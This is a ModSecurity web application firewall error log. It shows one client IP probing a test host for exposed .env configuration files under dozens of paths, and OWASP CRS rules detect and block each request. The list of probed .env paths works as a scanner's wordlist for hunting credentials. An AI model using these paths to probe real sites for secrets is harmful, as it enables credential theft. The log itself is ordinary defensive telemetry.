[Wed Feb 25 06:04:57.705740 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWjAAAAAI&quot;]
[Wed Feb 25 06:04:57.705916 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWjAAAAAI&quot;]
[Wed Feb 25 06:04:57.788829 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ5wAAAAY&quot;]
[Wed Feb 25 06:04:57.789123 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ5wAAAAY&quot;]
[Wed Feb 25 06:04:57.789327 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ5wAAAAY&quot;]
[Wed Feb 25 06:04:57.795973 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWjQAAAAI&quot;]
[Wed Feb 25 06:04:57.796251 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWjQAAAAI&quot;]
[Wed Feb 25 06:04:57.796431 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWjQAAAAI&quot;]
[Wed Feb 25 06:04:57.818782 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/olcne/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWjgAAAAI&quot;]
[Wed Feb 25 06:04:57.819253 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWjgAAAAI&quot;]
[Wed Feb 25 06:04:57.819486 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWjgAAAAI&quot;]
[Wed Feb 25 06:04:57.859653 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bucoffea/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWjwAAAAI&quot;]
[Wed Feb 25 06:04:57.859932 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWjwAAAAI&quot;]
[Wed Feb 25 06:04:57.860121 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWjwAAAAI&quot;]
[Wed Feb 25 06:04:57.972115 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /control/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ6AAAAAY&quot;]
[Wed Feb 25 06:04:57.972404 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ6AAAAAY&quot;]
[Wed Feb 25 06:04:57.972614 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ6AAAAAY&quot;]
[Wed Feb 25 06:04:58.043921 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ6QAAAAY&quot;]
[Wed Feb 25 06:04:58.044180 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ6QAAAAY&quot;]
[Wed Feb 25 06:04:58.044348 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ6QAAAAY&quot;]
[Wed Feb 25 06:04:58.065158 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /build/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWkgAAAAI&quot;]
[Wed Feb 25 06:04:58.065432 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWkgAAAAI&quot;]
[Wed Feb 25 06:04:58.065602 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aZ6C-lIszkcv5YapLJKWkgAAAAI&quot;]
[Wed Feb 25 06:04:58.153017 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/datavase/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ6gAAAAY&quot;]
[Wed Feb 25 06:04:58.153303 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ6gAAAAY&quot;]
[Wed Feb 25 06:04:58.153471 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ6gAAAAY&quot;]
[Wed Feb 25 06:04:58.280264 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/persistence/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ6wAAAAY&quot;]
[Wed Feb 25 06:04:58.280554 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ6wAAAAY&quot;]
[Wed Feb 25 06:04:58.280779 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ6wAAAAY&quot;]
[Wed Feb 25 06:04:58.324900 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ7AAAAAY&quot;]
[Wed Feb 25 06:04:58.325206 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ7AAAAAY&quot;]
[Wed Feb 25 06:04:58.325404 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aZ6C-vjNQqDNAmB2zjqZ7AAAAAY&quot;]
